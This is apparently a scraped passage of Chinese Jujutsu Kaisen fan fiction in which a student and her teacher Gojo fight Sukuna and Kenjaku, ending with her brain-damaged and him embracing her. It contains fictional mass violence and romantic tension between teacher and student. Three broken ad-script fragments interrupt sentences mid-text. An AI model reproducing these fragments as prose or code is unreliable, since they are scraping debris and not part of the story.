这样严苛条件筛选下的案件,居然还能堆积如山。 “海外的咒灵不论是数量还是质量都要正常得多,这里究竟是哪里得罪了咒灵祖宗?”卿鸟嘴成倒三角,毫不留情吐槽。 然后被五条悟笑着推进了废弃大楼。 “自告奋勇来的不许抱怨。” 嘁。 大晚上一盏灯都没有的废弃大楼,这和鬼屋剧本杀有什么区别?哦有的,后者是工作人员扮演的鬼,而这里是真的有“鬼”。 卿鸟想象出两把绝地武士的光剑,一红一蓝,她把蓝色那把递给了五条悟。 五条悟:“……小鸟最近在看星际大战啊。” “看老师的收藏品里有,顺便重温一下。” 五条悟哪里需要这种恶搞的术式咒具,但卿鸟递给他的,倒也是接受了。这孩子甚至在光剑的剑刃上赋予了咒力值,确实可以砍砍等级在2级及以下的咒灵。 卿鸟走在五条悟身侧,偏头看向拿剑的男人,五条悟甚至配合光剑走出了特殊步伐,画面一度很好笑。 “明天给高专的大家一人发一把。”她甚至已经开始想象那群一年级拿到光剑后的反应。狗卷棘和熊猫一定是最先玩起来的,忧太会不知所措,真希……应该会超无语,但最终也会配合她的一时兴起。 “不许哦。” 结果被五条悟一票否决了。 卿鸟试图挣扎:“……为什么?” “不要拉低大家的智商嘛。” “……” 她好想挥剑砍向他。 然而五条悟已经转身上了三楼。 为什么不许呢?有小鸟咒力的玩具当然不能人人都有。况且她想象出来的术式实体如果不慎被摧毁,卿鸟还会受到相同咒力的袭击。越多越危险。 废弃大楼里到处都是咒灵留下的咒力残秽,凌乱又密集,但咒灵本身始终无法被找到。 五条悟扯下眼罩,凝神细 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看,一点一点分析出咒力残秽的真与假。最终从不起眼的排水沟里把咒灵本体生拉硬拽出来。 “臭水沟里的老鼠。” 一个足足拖延了半个多月的案子,罪魁祸首居然是这样弱小的东西。五条悟随手将咒灵丢出窗外。不偏不倚,正好被串在卿鸟的光剑上,光荣消失。 两人又辗转下一个任务地。 这些累积着的疑难杂症,危险指数大多不高,只是没有六眼的辅助会很难推进。 “没有六眼就不能多动动脑子吗?”卿鸟再次用光剑戳死咒灵,义愤填膺。“若是这个时代没有六眼呢?这些疑难杂症就一直放到世界上有六眼诞生吗?” 五条悟看向忽然发脾气的鸟。 倒是没有在意她为什么忽然生气,就觉得小小一只炸毛的样子很可爱。于是抬手狠狠揉乱她的头发。 已是深夜十一点半。这个时间对五条悟而言还算早,但不是卿鸟的作息。 在车里打了个盹的伊地知被开门声吵醒。他也早已习惯这样的节奏,准备往下一个任务地出发,不料五条悟却说回公寓。 “咦?”伊地知奇怪了一下。 然后就见卿鸟自后视镜瞪向他的“凶恶”目光。 …… 不咦了。 城市霓虹都黯淡下来的深夜,车内也是昏暗一片。卿鸟靠着车窗,眼皮有点打架,但她不想放任自己睡着,于是有一搭没一搭地找五条悟和伊地知聊天。 “伊地知先生明天要去高专吗?” “下午会去。” “老师明天会去高专吗?” “啊咧,小鸟变成高专签到专员了吗?” “……” “睡吧,到了叫你。” 胡言乱语的鸟放弃挣扎进入梦乡,车内陷入一阵沉默。 伊地知小心驾驶,一边透过后视镜观察后排的两人。五条先生最近明显变了,但真要说出他变了哪里,又列不出一二三。还是一样的强大,一样的忙碌与随心所欲,也一样的让高专学生又恨又……怨。 但就是…… 和卿鸟回来前不一样了。这位失而复得的学生,影响力居然有那么大。 五条悟低头玩手机,荧幕光映在他的脸上,闪烁变换。 “五条先生等会儿还要去哪里吗?”伊地知向五条悟确认行程。 “回高专哦。”五条悟停顿一下,接着道:“伊地知等下直接回家吧,我自己回高专。” “好。” 出了奇的,对话完后,伊地知内心忽然冒出一句:两人没有同居。 “……” 咦,他绝对不是因为八卦才问五条悟等会儿的行踪的哦!他不是这样的人! 睡迷糊的鸟被五条悟拍醒,整个人是无意识地跟着男人一起离开伊地知的车,拐弯走进楼栋,走进电梯,回到公寓。 生气的鸟固然可爱,这样亦步亦趋跟着他,完全信赖他的鸟更好。五条悟斜倚在卧室门边,看着床上再度睡熟的卿鸟。 时钟还差一分钟走到零点。 “生日快乐哦,小鸟。” 被窝里的鸟听不见这声迟来,又准时的生日祝福。她翻了个身,透过窗帘缝隙漏进屋内的浅金月光隐约映亮她的脸。 一双苍蓝的瞳凝视她熟睡的模样,目光由上级下,落至她的唇。 “……” 触感还残留在指尖。 但五条悟最终还是轻轻关上房门,离开了公寓。 潘多拉的魔盒被打开前,它的主人又何曾没有试图阻止过,并一次又一次合上它。 19.第十九章 翌日,咒术高专迎来一个不速之客。 这些天因为卿鸟“传授”里香必杀技的行为,校园警报几乎隔三差五就会响起,以至于众人在听到警报声的第一秒并没有任何危机感,反而是长叹一口气。 众人面面相觑,而后感觉到一股强大且陌生的咒力气息出现在身边。 乙骨忧太愣愣地看着忽然出现在自己眼前的男人。黑色长发扎起半丸子头,额边一缕奇怪的刘海,当然,最奇怪的还是他身上的着装。 “初次见面,乙骨同学。我是夏油杰。” 乙骨忧太向下瞥一眼自己被握住的手。男人移动的速度非常快,几乎没有给他反应的时间。 夏油杰迅速观察了一下乙骨忧太。眼前的小男生怯生生的,一点没有特级咒术师应该拥有的风采……或者说是张扬跋扈。 心理与能力尚未匹配,是容易攻陷的对象。 “悟那个偏执的家伙一直把你圈在高专的领域里,我没有机会单独接近你,所以只能直接来高专找你了,乙骨同学。”夏油杰一副痛心疾首又嫉恶如仇的模样。 “诶……多……” 既然这个男人称呼五条老师为“悟”,那他们应该是熟人或是好朋友吧。乙骨礼貌打招呼:“……您好。” 熊猫、真希与狗卷站在稍后一些的位置,他们警惕地看着眼前这个骤然出现的男人。 特级诅咒师夏油杰,死在他手中的非术师不下百人。至今也带领着手下众多咒术师在全国各地为非作歹。 “你的能力很棒,乙骨同学!留在高专会被自私自利的家伙磨灭,撒——” 夏油杰握着乙骨忧太的手,慷慨激昂,还想说些诱导他加入自己的话语…… 而后被徒然出现的术式飞机撞飞了。 五条悟与夜蛾正道赶至校门口处,正巧看到烟尘滚滚和大摇大摆走进来的卿鸟。少女满面红光,笑容灿烂。 卿鸟看着夏油杰上一秒站立的位置,飞速眨巴了两下眼睛。“咦?发生什么事了吗?” “这……”熊猫看了眼夏油杰被撞飞的方向。 “……木鱼花。”狗卷棘抬手拉拉链,低头把嘴埋进衣领里。他努力忍住说话的冲动。 “就是……啊,不,算了。没事。”熊猫放弃解说。 夜蛾正道没有看到夏油杰被撞飞的那瞬间,但大概猜到发生了什么。五条悟则眺望了一下夏油杰咒力飞远的方向,并抬手挥了挥,以示告别。 “没事大家聚在门口干嘛?做广播体操吗?”卿鸟那么说着,觉得这个主意也还不错,于是想象出狗卷棘的专属喇叭握在手里。“决定了!咒术高专广播体操大作战!” 夜蛾正道眼角一抽。“不要擅自决定奇怪的事情。悟!” “体操啊……”五条悟摸了摸下巴,并熟练屏蔽夜蛾正道要他管管卿鸟的信号。“确实可以成为锻炼的一种形式。” “对吧!”卿鸟蹦到五条悟身侧,开始盘算:“第一节,在术式挠痒袭击下的伸展运动,第二节,在无下限吸引力下的扩胸运动,第三节,和贞子一起踢腿运动……” 高专一年级生们:“……”不如你还是用飞机把我们一起撞飞吧。 这哪里是广播体操啊喂!人家锻炼要力气,你们师徒二人锻炼直接要命! 众人无语间,被撞飞的夏油杰再次回到视野中。长发凌乱,丸子头上还插了一片枯叶。 “咦,教主大人你怎么来了?”卿鸟看看夏油杰,又回头看看身后的校门。“你怎么从那个方向来?啊,没有毕业所以没脸走正门是不是?你还挺讲究的呢。” 夏油杰:“……” 夜蛾正道:“……”忽然对卿鸟顺眼了一点。 卿鸟呲牙一笑,然后被五条悟挡在身后。 “离我的学生远一点,杰。” 夏油杰挑眉:“哪一个?” “每一个。也不要向他们宣传你的疯狂思想。” “你的学生思想可比我疯狂多了。”夏油杰意有所指,接着歪头看向五条悟身后的卿鸟。“你要的人,我找到了哦。” 卿鸟上一秒还吊儿郎当的神情收敛了一瞬。 吵吵闹闹的校园倏尔安静下来。简单一句话让每一个人都陷入不同程度的猜测与猜忌。 “……你这家伙特地跑来就为了挑拨离间?” 待卿鸟反应过来为时已晚,夏油杰放下咒灵控制住在状况外的一年级们,自己则自五条悟的视线内轻松脱离。 五条悟眉心微蹙,他垂首看向身后的卿鸟。伶牙俐齿的人居然没有在第一时间辩驳,而是冲夏油杰消失的方向比了一个国际友好手势。 五条悟:“……” “你去体术馆等我。”男人沉声命令。 夜蛾正道与五条悟一前一后走进校长办公室。夏油杰已经十年未曾踏进咒术高专的领地,今天的不请自来,一定象征了别的什么。 “杰那家伙,应该是得到忧太能力的情报了。” 强大的诅咒女王,足以摧毁一个国家的可怕能力。如此暴力的美学,非常符合偏激男人的作风。 “虽然给小鸟使了绊子得以制造空隙离开,但他今天的目的是忧太。” “倘若他和卿鸟里应外合呢?” 夏油杰的挑拨离间是直戳痛点的。不是夜蛾正道多疑,而是自己曾经得意并引以为傲的好学生也能一夜之间叛逃,更别说这个从一开始就离经叛道的少女。 “小鸟不会。”五条悟否认的心不在焉。 夜蛾正道沉默三秒,静静地看着五条悟。看似没有弱点的最强男人,十年前放过夏油杰一次,这些年来几乎没有交集,就算有也会刻意避开。他强的离谱,但不是一个没有感情的怪物。 “悟,如果夏油杰有一天真的与高专彻底对立,避无可避。你会动手吗?” 五条悟懒散地坐在沙发上,翘起二郎腿看向天花板。 他没有回答夜蛾正道的问题。 “如果卿鸟一起叛变呢?” 五条悟:“……” --- 卿鸟在体术道馆等了近一个小时,也没能把她那可敬可爱又可怕的老师等来。她在不大不小的道馆里想象了一座蘑菇乐园,而后起身准备离开。 一条逆天的大长腿突然出现,踩在门框上拦住她的去路。 “……”卿鸟一个急刹车停住脚步,由衷感叹道:“老师的腿啊,比圆周率的小数点还长。” 五条悟放下腿,单手勾起卿鸟的后衣领把人带进道馆内。“没有合理的解释,小鸟休想离开这里半步哦。” 曾经的师徒面对面跪坐下来。 “阿拉……就是老师出差那阵子,我拖狐狸教主帮我找两个人。” “为什么和盘星教扯上关系?” “和高专沾边多少都会漏风声到总监会那里,内鬼和眼线很难抓全。我要找的那两个东西,暂时不想让总监会知道任何信息。”卿鸟慢条斯理地说着。“盘星教算得上数一数二的信息广通 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的组织,还是总监会深恶痛绝的存在,敌人的敌人就是朋友嘛。” 从卿鸟的角度来看确实没什么问题。怪就怪在她和夏油杰之间非敌非友的关系,也难怪总监会乃至夜蛾校长都开始怀疑。 “找什么人?为什么不告诉我?在小鸟眼里老师也不能信任?”五条悟每问一个问题,声音都会更沉一点。熟悉他的人都知道,这是这个男人真的生气才会有的模样。 清澈的眼眸看着五条悟,她想看看那双蓝眼睛,无法用言语传递的情绪,有时候可以用对视的眼神传达。但被一层又一层的绷带阻挠了。 片刻后,卿鸟垂下眼帘看着光滑的地面。“因为老师太累了。” “打算稍微有些眉目了再说的。我没有不信任五条老师。”应该说,不论是这个世界还是平行世界,她唯一信任的人,就是他。 “……” 被质问的人反而委屈起来了。 再追问下去,是不是就称了夏油杰的心?不可否认,五条悟是被夜蛾那句“如果卿鸟一起叛变呢”影响了心情和判断。 就这样吧。他不喜欢自己和卿鸟之间出现这样的氛围,更不喜欢看到这只鸟露出这种神情。 五条悟站起身。“走吧。” “去哪里?” “找可爱的学生们做术~式~广播体操。” 卿鸟跟着翻身起来,屁颠屁颠跟在五条悟身后,并一扫刚才委屈的表情。“老师问完话了?那是不是轮到我提问了?” “为什么老师阻止夏油杰接近忧太,当初却放任那只狐狸教主来招揽我?是因为不信任我吗?” …… 五条悟:? 嗯? 等一下? 这只鸟刚才的委屈都是装的? 伊地知吃过午饭走进咒术高专,就见一高一矮两个身影十分不体面地“扭打”在一起。并不时伴随着斗嘴声—— “一只鸟会说人话本身就很可疑!” “这样不靠谱的老师居然还理直气壮质问学生为什么不信任他!” 两个少说也是前辈级的人物,吵完打完,扭头一哼。 伊地知:“……”他有一些话想说不敢说。 --- 夏油杰的“找到了”倒也不全是欺骗,脑花和用冰术的千年诅咒没有音讯,但盘星教的人找到了一具和卿鸟描述相符合的咒术师尸体——□□完好无损,脑袋被破开挖空,像盖了盖的杯子。 敏感如夏油杰察觉出一丝不对劲。他收回了全员寻找邪恶诅咒的指令,只让能力在一级的咒术师继续往下找。并查出那具女尸的身份。在调查过程中如遇不明敌方,迅速撤退,快速撤离。 这个季节性并发症颇多的时节,全国各地咒灵四起,东京却是一反寻常的安静祥和。 五条悟再一次被连续不断的任务支离东京。但因为是常态,所以并未引起众人的怀疑。 直到四月底的某日凌晨,一声巨响轰然炸开在盘星教的建筑上方。 四手两面的邪恶诅咒猖狂地笑着,粉碎了方圆十公里内所有脆弱生灵。 许久未曾尝到鲜血与杀戮快感的诅咒之王,把最初和“老友”的约定短暂抛于脑后,沉浸于自己的享乐之中。 羂索猜到会是这样的结果,但也不急。这具临时换上的□□太过弱小,隐在云雾的阴影中,抱肘而立,饶有兴趣地看着眼下一片狼藉。 卿鸟和夏油杰。 一具身体归宿傩,一具肉.体归他。 20.第二十章 暴\乱发生于盘星教附近,负责监控的工作人员第一时间向上汇报消息并撤离。 诅咒之王的爆破与杀伤力令人望而生畏,日常坚守的片区咒术师在直面死亡的瞬间,脑海中几乎没有任何“救人”的念头,以惊恐、扭曲且丑陋的表情火速逃离。 非术师与同伴的凄厉惨叫在身后此起彼伏,混杂着两面宿傩猖狂的笑声划破天际。 总监会于深夜惊醒,代表着咒术界现今最高权利的几人围坐在会议室里。面面相觑,眼神交流,谁也没有出声,谁都知道对方心里的打算。 他们要求「窗」尽可能将战场控制在以盘星教为中心,十平方公里之内的区域。换言之,总监会不假思索地放弃了一个地区的非术师与同伴。 “布帐师,所有的顶级布帐师立刻去往事发地,阻止诅咒之王再次扩大伤害范围。” “联系咒术高专,从教师到学生,凡留在东京的全体赶往事发地。” “五条悟在哪里?通知辅助监督,东京大事件需要他立刻返回。必要时可以随便使用瞬移,不计代价。” “上周才和那群非术师跳梁小丑谈好长期合作,忽然闹出那么大的恐慌。”角落里,一个鹰钩鼻的白发男人淡笑一下。似乎很满意这突如其来的事件。“签合约前一定要再加钱。” 一端的权衡利弊,另一端的兵荒马乱。人与人的悲欢无法相通也无法理解。 五条悟的公寓离盘星教很远,可强大的咒力干扰以及注定无法宁静的城,让卿鸟深夜自梦里惊醒。 她隐约听到鸣笛声,遥远,接连不断。楼下的空旷马路,一台又一台警车、救护车驶向事发地。 卿鸟大脑清醒了几分,接着眼皮不受控地跳了两下。 同时间,床头柜上的手机屏亮起,手机剧烈震动起来。 是长尾拓真。电话那头的声音又急又害怕,还伴随着刺耳的喇叭与尖叫声。 “盘星教区域遭受重大袭击,据逃离监督描述……袭击者为诅咒之王!” 现场状况的混乱不用细说也能猜到,尤其是长尾这样的辅助监督,几乎不能靠近事发地太近。 卿鸟换上外衣,没有走电梯,学着五条悟喜欢走阳台的不良嗜好,想象了阿拉丁的飞毯纵身跃下。 然后与一个熟悉又陌生的男人打了个照面。一个不应该在这个节骨眼,在这个地点与她碰头的男人。 “七海先生?” “边赶路边说吧。”七海建人一眼看出卿鸟的惊讶,但现在不适合慢慢解释。 「我离开的这段时间如果东京有突发事件,而大家无法联系到我,麻烦七海和小鸟一起行动。」 那个男人出远差前曾这样拜托过他。 「七海太严肃,小鸟不正经,说不定是一对祓除咒灵好搭档呢!」 那个男人后来这样补充。 「但是!不许骗小鸟回家煎蛋看电影!」 那个男人最后总结。 然后被七海建人手动屏蔽。 --- 越靠近盘星教根据地,邪恶的诅咒气息就越浓烈,比卿鸟接触过的任何咒灵都要渗人。 相比四年前那些吞了宿傩手指咒力倍增的特级咒灵,诅咒之王夺舍躯\体重新问世的压迫感要强上百倍。 是穿过肌肤,刺入骨髓的寒意。 慌乱的行人还在远离硝烟弥漫的中心地带,生怕自己逃得还不够远。不怕死的非术师拿出手机站在高处摄像,但冰冷的机器无法记录诅咒。 咒术师们逆着人潮前行。 三层帐外,辅助监督聚集在相对安全的位置,惶恐不安。 帐内是诅咒之王,不是普通咒灵,能阻挡到哪时哪刻完全看两面宿傩的心情。 卿鸟找到伊地知与高专众人,后者正准备服从总监会与窗的安排入帐。 “这是什么可笑的咒术实习?”邪恶的气息让卿鸟回忆起四年前的惨案,情绪几乎瞬间被拉到暴怒边缘。她甚至怀疑这是又一场精心策划,为了铲除某位不顺眼的学生。 “里面的情况一概不知,让学生入帐做敢死队?”卿鸟想象出来的巨型佛手拦住学生们的去路。她看向身前的最高监察,总监会的爪牙。“信不信我现在拆了帐,想象诅咒之王灭顶东京?” “……”知晓卿鸟的术式可以辅助诅咒的伊地知倒吸一口冷气。 七海建人低眸看向卿鸟。 身侧的少女单从外表来看,与四年前区别不大。可在心态与面对事情的成熟度上,有了质的飞跃。四年前的她,在大事上会以五条悟的判断作为最终决定,所以直到最后也没有越过五条悟,直接反抗咒术高层。 但显然,她现在有了自己的思考。 难怪那个吵闹的男人临行前会给自己这样奇怪的“任务”。七海建人扶了扶眼镜。 现在的卿鸟对于五条悟来说是失控的存在。 总监会的爪牙也是见过风浪,直面过五条悟的人,并没有被卿鸟的威吓吓住。他有理有据,慢条斯理道:“一年级生可以不入账,他们在外围帮助祓除混乱引来的咒灵。但乙骨忧太作为特级咒术师,比你更有资格入帐。” 帐内绝大部分都是非术师与盘星教的术师。在重大灾难前,这些人的生命并不可贵。至少在总监会眼里是这样,尤其是如果能借此机会铲除夏油杰,再拖延至五条悟来收尾,那对总监会而言,这起事故反而是福报。 卿鸟轻而易举猜到总监会的心理,于是不再和男人废话周旋。 “忧太守在第二层帐外,如果两面宿傩扩大伤害范围,你也加入战斗。狗卷你和真希、熊猫尽量远离这里,负责疏散恐慌的非术师,如果两面宿傩的战斗范围扩张至你们身侧,逃。” 水野学长作为混迹非术师世界的咒术师,他深知两个世界的生存法则,正有条不紊地安排着避难措施。狗卷与渡边前辈一同赶来,前者与弟弟一起疏散人群并守护后辈,后者抡圆了手里的咒具,要和卿鸟一起入帐。 麻生于特别监控室内集中观察事发地。有过四年前的内鬼教训,她学会了要把视线放远放长。 曾经的学生们,在五条悟短暂离开的时间里,用自己的方式撑起这座城。 “入帐人员不再做调整了吗?”伊地知最后向卿鸟确定。虽然不知为何这件事,忽然就变成由她主导了。 “就这样吧。帐内还有一个特级呢。” 那个五条老师口中,爱出风头的家伙,那个张口闭口家人们的家伙,可不会在诅咒之王面前束手就擒。 七海建人摘下眼镜,抬腕看了眼表盘,随后轻声感慨:“从一开始就是加班时间啊。” 三层帐内,一片狼藉,生灵涂炭。 彻底掌握身体支配权的两面宿傩露出自己原本的面貌。他站在废墟堆上,两只手分别掐住两位少女。四只眼笑出诡异渗人的弧度。 “对,就那样站着不要动。”诅咒之王对远处的男人发号施令。 他在用菜菜子和美美子戏耍夏油杰。后者的咒灵只要靠近两面宿傩半分就会被无形的斩击粉碎。 陌生的气息,且不止一人探进这修罗场,两面宿傩一下捕捉到来人的行迹,但没有过分在意。比起正前方的黑发男人,新进的咒术师不值一提。 至少,在卿鸟想象的微型沙尘暴席卷过境,并成功自他手中卷走两位少女之前,诅咒之王都没有拿她当回事。 风沙不怕斩击。 菜菜子与美美子被卿鸟偷到,没了束缚的夏油杰在那瞬间原地暴起,瞬间逼近两面宿傩。用咒力护住的肉/身还是在无形斩击中承受伤害,暴怒男人的拳头狠狠触及诅咒之王的面颊。 夏油杰又一次亲眼看到同伴惨死的模样,偏激与偏执,所有的负面情绪化作急速攀升的咒力。 两面宿傩迅速调整身形。 咒灵操术使用者一般会过度依赖操控咒灵与咒灵术式的抽取利用。没想到体术格斗也是好手。 惊吓到失语的菜菜子与美美子被七海建人带离。 同一时间,最内层的帐内被卿鸟想象的汪洋大海注满。以柔克刚,锋利的斩击在水中发挥不出原有的威慑力。遍布的残垣废墟与再无生机的躯/体、四肢与术式海水中漂浮起来,画面有瞬间的可怖与难以直视。 夏油杰持续逼近两面宿傩,拳脚在水中的伤害也受阻,他没有多做思考,抽取咒灵的术式给了两面宿傩一记贴脸爆破。 大范围的汪洋大海过于耗费咒力,只维持了五秒时间便尽数褪去。 一次无中生有的沙尘暴,一次骤然出现的大海,被卿鸟的咒力气息完全包裹住的两面宿傩,目光扫向她。 渡边与夏油杰从未交过手,但无数次的战斗经验使得他们二人不约而同,在两面宿傩分散注意力的那一秒,一前一后成包围之势夹击两面四手的诅咒。 “无聊。” 两面宿傩消失于原地,再出现时,那张实在算不得帅气的脸庞紧贴卿鸟。 后者矮身一闪。 去而复返的七海建人隐匿气息骤然出现,挥舞手中的砍刀,于7:3点上强行制造弱点,狠狠暴击两面宿傩的侧脸。 三位一级术师外加一名特级诅咒师,在卿鸟无厘头又难解的术式想象中行云流水,取长补短,连贯起持续攻击的节奏。仅一根手指力量的两面宿傩逐渐没有了最初的巨大优势。 “哦呀。五条悟的学生还真是个麻烦。”头顶缝合线的小男孩,说话声音还是奶萌奶萌的,但语气完全不符合他的年龄。“没办法,逗逗她吧。” 帐外一阵异响。 两秒后,最里层的帐被打破,乙骨忧太摔进废墟之中,半边身体被冻住。 这个家伙! 在平行世界与里梅交过手,卿鸟知道他的术式。监督落下的三层帐都被打破,斗场的面积徒然扩展。卿鸟尽可能想象四下里的温度攀升,降低里梅冰凝咒法的伤害,但那样的升温不仅过度消耗咒力,对于同伴而言也极为不舒服。 升温buff在乙骨忧太身体恢复后消失。 卿鸟还在想用什么办法控场。现在的战力他们依旧是占据上风的,但需要田忌赛马。 少女往前跨了一步,而后小腿被人抱住。 “……” 不曾感知到的咒力气息瞬间出现在身边,卿鸟难以置信地低头。 “卿鸟姐姐。”小男孩喊她。 漂亮的眼睛像是看到了什么恐怖至极的画面,瞳孔骤缩。卿鸟脸色惨白:“……不。” 虽然她只和小阳斗有过一面之缘。 但这不可以。 “你好像知道我呢。”属于小阳斗的可爱脸庞,露出一个诡异的笑脸。 羂索清楚知道卿鸟的弱点。他无需多做什么,只要在精神上击溃她就能轻松占据她的身/体,拥有她的术式。 控场的术式中断,里梅趁机用直瀑割裂战场,战场瞬间一分为三。 夏油杰与两面宿傩,羂索与卿鸟,七海建人、乙骨忧太、渡边源一与里梅。 “一挑三吗?被看扁了呢。”渡边源一原地暴起。 乙骨忧太握紧咒具,巨大的特级咒灵自他身后出现。这里已然是一片废墟,他不用担心里香的出现会造成误伤。 七海建人则停下攻击的步伐,与二人擦肩而过,去找卿鸟。不仅仅是因为五条悟的嘱托,而是战友需要。 羂索并不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 准备攻击卿鸟,他笃定眼前的少女不会对这具身/体做出任何攻击行为。 “滚出去。”卿鸟垂眸,一字一顿。她抬手一下捏住属于阳斗的稚嫩脸庞,眼眶里瞬间布满血丝:“从阳斗的身体里,滚·出·去!” 羂索还想继续刺激卿鸟,但发现自己的大脑瞬间不受自己的控制,拼了命地想爬出男孩的身体。 “……还真是可怕的术式。”配合天元的全知全能,根本就是一个念头就能拉着全体非术师进化。 七海建人想要破开冰层去支援卿鸟,结果骤然间,里梅的冰山被肆意妄为的斩击切成粉末。 危机意识使得众人紧急后退,除了卿鸟。她处于盛怒的情绪中,难以自控。 两面宿傩的领域霎时展开,湮灭领域内的一切生灵与非生物。 被斩击瞬间命中的夏油杰,血肉模糊地划出简易领域中和强大的攻击。 十年前的杰不会反转术式,不知为何十年后的夏油杰也还是没有领悟。这在高强度的战斗中是致命的弱点。 两面宿傩已经没有兴趣得到夏油杰的身/体,咒灵操术的术式也已经在对战中厌倦。他现在只想感受杀戮,让眼前这个居然敢俯视他的男人再也睁不开眼。 诅咒之王抬手。 顷刻间,无间地狱之链凭空出现,扣住了他的四条手臂。并接连发出清脆的卡扣声。 又是这莫名其妙的术式。以为扣住他的手臂就不能继续攻击了吗? 两面宿傩看向卿鸟,两秒后,他瞪大眼睛。 卿鸟赋予了地狱之链额外的效果——两枚降低咒力,两枚禁锢术式。 术式之上叠加术式,开挂的战斗效果会有必然的反噬效果。 两面宿傩兴致再度高涨,他对抗卿鸟的术式,进行挣脱。下一秒,又被巨型黑钉狠狠钉在地上,黑钉同样被赋予了特殊术式效果。 夏油杰喘息看向卿鸟。 “会死的。你的大脑承受不住。”他救了她两次,不是为了此时此刻,见她战死在自己面前的。他今天已经失去太多家人了,不想在看到同伴倒下。“停下,不要再用术式了。” 宿傩的领域被卿鸟打断,夏油杰收起简易领域,自咒灵口中抽出游云。他要亲手结果他。 硬控两面宿傩五分钟的卿鸟突破了大脑负荷的极限。七海接住失去意识的她,在看清阳斗的面容后也是恶心地咬住后槽牙。 七海不知道羂索的术式,但能猜到这是类似“受肉/体”一般的存在。 “小男孩”天真一笑,消失在视野里。 “差不多了哦。”羂索移至最佳逃跑位置。“五条悟差不多该赶回来了。不要忘了planB。” 重力与反重力术式区分开敌我之间。 祈本里香丢掉撕扯下来的,属于里梅的手臂与腿。特级咒灵转身就要去抓羂索,然而被一道看不见的结界挡住。 “诅咒女王果然可怕。”羂索摆摆手,“撤了撤了。” 重伤的里梅短时间无法用反转术式完全复原。他缓慢靠近与夏油杰体术搏斗的两面宿傩,在羂索于更早时间里藏于结界内的粉毛少年拽出来。 宿傩大人临时受/肉的躯体并不强大。粉毛少年是planB。 如羂索推测的,一股强大的咒力气息骤然逼近这方废墟与修罗场。当然五条悟之所以会被任务牵绊住,晚半个小时得到消息也在他的计划和算计之中。 压迫感极强的男人骤然出现在视野里。 一双蓝眸内尽是杀意。 羂索带着里梅利用结界术转移离开。两面宿傩还想会会羂索口中的五条悟,于是切下自己的手指强行逼身边的粉毛少年吞下。 就在两面宿傩以为自己可以继续畅快战斗的当口,身体的控制权被少年夺回。 虎杖悠仁在术式与结界的作用下昏迷许久,此刻逐渐恢复意识也还是有些愣神。他一抬头,看到一个高挑的白毛男人,一副要杀了他的模样。 虎杖悠仁立刻举起双手:“啊诺……” 五条悟:“……” --- 五条悟抵达盘星教附近的时候,七海建人已经将卿鸟带去咒术高专第一时间接受家入硝子的治疗。五条悟没有在废墟里看到卿鸟的身影,先是觉得奇怪,然后感觉不妙。 “小鸟会反转术式,所有的伤都有及时治疗好。”家入硝子站在长廊上,两手插袋。“但过度使用术式造成了不可逆的脑损伤。这个,反转术式来不及治疗。” “……” “或许过阵子能好,也或许这辈子都不会恢复到正常状态。要看她的运气了。” 病床上,昏迷的少女就和平时睡着没什么两样。微卷的栗发凌乱散开,长而卷的睫毛在眼睑处落下一道浅浅的阴影。 七海大概描述了一下事情经过。他十分抱歉,虽然跟在卿鸟身侧,但无法阻止失控的事情发生。 “卿鸟突然滥用术式,应该和一个男孩有关。” 那个曾经让五条悟短暂失去理智的咒力残秽,他在战斗现场察觉到了。五条悟也大概猜到了对方做了什么,刺激到他的鸟。 整个东京乱成一团。倒显得咒术高专清冷无比。 应该说,没有卿鸟叽叽喳喳吵闹的世界,一直都是寂寞且冷漠的。 五条悟用脚带上房门,踱步走到卿鸟身侧。 不可逆的脑损伤。 这种疼痛大概没有人会比他更清楚了。 修长的身影坐到床边,温热的指尖拨开卿鸟面颊上的碎发。男人俯身,伸出又克制收回的手,将她完全揽进自己的领地抱住。 五条悟偏头,嗅着她身上的气息,吻了吻她的长发。